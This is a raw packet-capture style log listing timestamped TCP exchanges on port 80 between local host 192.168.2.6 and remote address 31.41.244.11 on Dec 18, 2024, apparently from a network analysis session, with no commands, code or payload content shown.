Dec 18, 2024 11:09:29.712523937 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.712555885 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.713505983 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.713547945 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.713628054 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.713666916 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.714432955 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.714478970 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.714581013 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.714621067 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.715472937 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.715526104 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.715607882 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.715645075 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.716583014 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.716594934 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.716623068 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.716639996 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.717533112 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.717546940 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.717577934 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.717597008 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.718434095 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.718477964 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.718575954 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.718616962 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.719290972 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.719330072 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.719418049 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.719470978 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.720354080 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.720398903 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.720623970 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.720664024 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.721288919 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.721327066 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.721468925 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.721507072 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.722275972 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.722315073 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.722408056 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.722448111 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.723562956 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.723579884 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.723606110 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.723624945 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.724338055 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.724350929 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.724378109 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.724395037 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.725343943 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.725359917 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.725388050 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.725402117 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.725799084 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.725821018 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.725841045 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.725853920 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.727236986 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.727288008 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.727364063 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.727402925 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.728367090 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.728410006 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.728468895 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.728507042 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.729262114 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.729274035 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.729300976 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.729317904 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.864820004 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.864837885 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.864872932 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.864900112 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.865379095 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.865416050 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.865618944 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.865664005 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.866344929 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.866358042 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.866384983 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.866403103 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.867449999 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.867503881 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.867590904 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.867635965 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.868125916 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.868169069 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.868330002 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.868371010 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.869157076 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.869204998 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.869417906 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.869457960 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.870362043 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.870373964 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.870402098 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.870419979 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.871062040 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.871102095 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.871215105 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.871253014 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.872740984 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.872755051 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.872783899 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.872797966 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.873295069 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.873342037 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.873486996 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.873522997 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.873996973 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.874034882 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.874083042 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.874119997 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.875179052 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.875216007 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.875370026 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.875427961 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.876202106 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.876224995 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.876240015 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.876259089 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.876924038 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.876962900 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.881907940 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.881952047 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.881980896 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.882018089 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.882343054 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.882381916 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.882409096 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.882446051 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.883444071 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.883486032 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.883583069 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.883620977 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.884346962 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.884387970 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.884401083 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.884433985 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.885278940 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.885322094 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.885366917 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.885402918 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.886255026 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.886296988 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.886451006 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.886487961 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.887209892 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.887249947 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.887327909 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.887367964 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.888192892 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.888233900 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.888298035 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.888334036 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.889188051 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.889226913 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.889285088 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.889321089 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.890201092 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.890240908 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.890279055 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.890315056 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.891169071 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.891206980 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.891243935 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.891280890 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.893642902 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.893661022 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.893673897 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.893686056 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.893692970 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.893712044 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.893743038 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.894114017 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.894155979 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.894211054 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.894248009 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.895612001 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.895649910 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.895792961 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.895832062 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.896553040 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.896593094 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.896693945 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.896732092 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.897173882 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.897207022 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.897213936 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.897250891 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.898271084 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.898283958 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.898313046 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.898327112 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.899219990 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.899257898 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.899403095 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.899439096 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.900070906 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.900110006 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.900177002 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.900214911 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.901124954 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.901165962 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.901304960 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.901345015 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.902018070 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.902059078 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.902270079 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.902307987 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.903017998 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.903058052 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.903284073 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.903320074 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.903986931 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.904031992 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.904119015 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.904156923 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.907594919 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.907618999 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.907648087 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.907664061 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.907951117 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.907963037 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.907987118 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.908004999 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.908788919 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.908827066 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.909060955 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.909092903 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.909997940 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.910048962 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.910156012 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.910188913 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.910979986 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.911000967 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.911027908 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.911047935 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.912023067 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.912070990 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.912152052 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.912189007 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.913053989 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.913065910 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.913105011 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.913851023 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.913863897 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.913893938 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.913922071 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.915026903 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.915043116 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.915065050 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.915081024 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.915920973 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.915978909 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.916089058 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.916119099 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.916898012 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.916930914 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.917083979 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.917115927 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.917804956 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.917841911 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.918190002 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.918220043 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.918828011 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.918840885 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.918863058 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.918879986 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.919734001 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.919770002 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.919904947 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.919939041 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.920811892 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.920854092 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.920985937 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.921020985 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.921931028 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.921952009 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:29.921983004 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:29.921999931 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.056046963 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.056149006 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.056174040 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.056211948 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.056526899 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.056562901 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.056632042 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.056665897 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.057476044 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.057514906 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.057552099 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.057591915 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.058484077 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.058523893 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.058526993 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.058556080 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.059469938 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.059573889 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.059619904 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.059643030 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.060676098 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.060720921 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.060736895 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.060774088 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.061395884 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.061434984 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.061484098 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.061522007 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.062391043 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.062429905 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.062478065 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.062515020 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.063358068 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.063401937 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.063477039 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.063519955 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.064347982 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.064388037 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.064416885 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.064455986 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.065350056 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.065388918 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.065445900 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.065481901 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.066432953 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.066474915 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.066510916 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.066550016 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.067362070 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.067400932 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.067404985 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.067434072 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.068233013 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.068270922 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.073014975 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.073064089 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:30.073105097 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:30.073147058 CET	49912	80	192.168.2.6	31.41.244.11
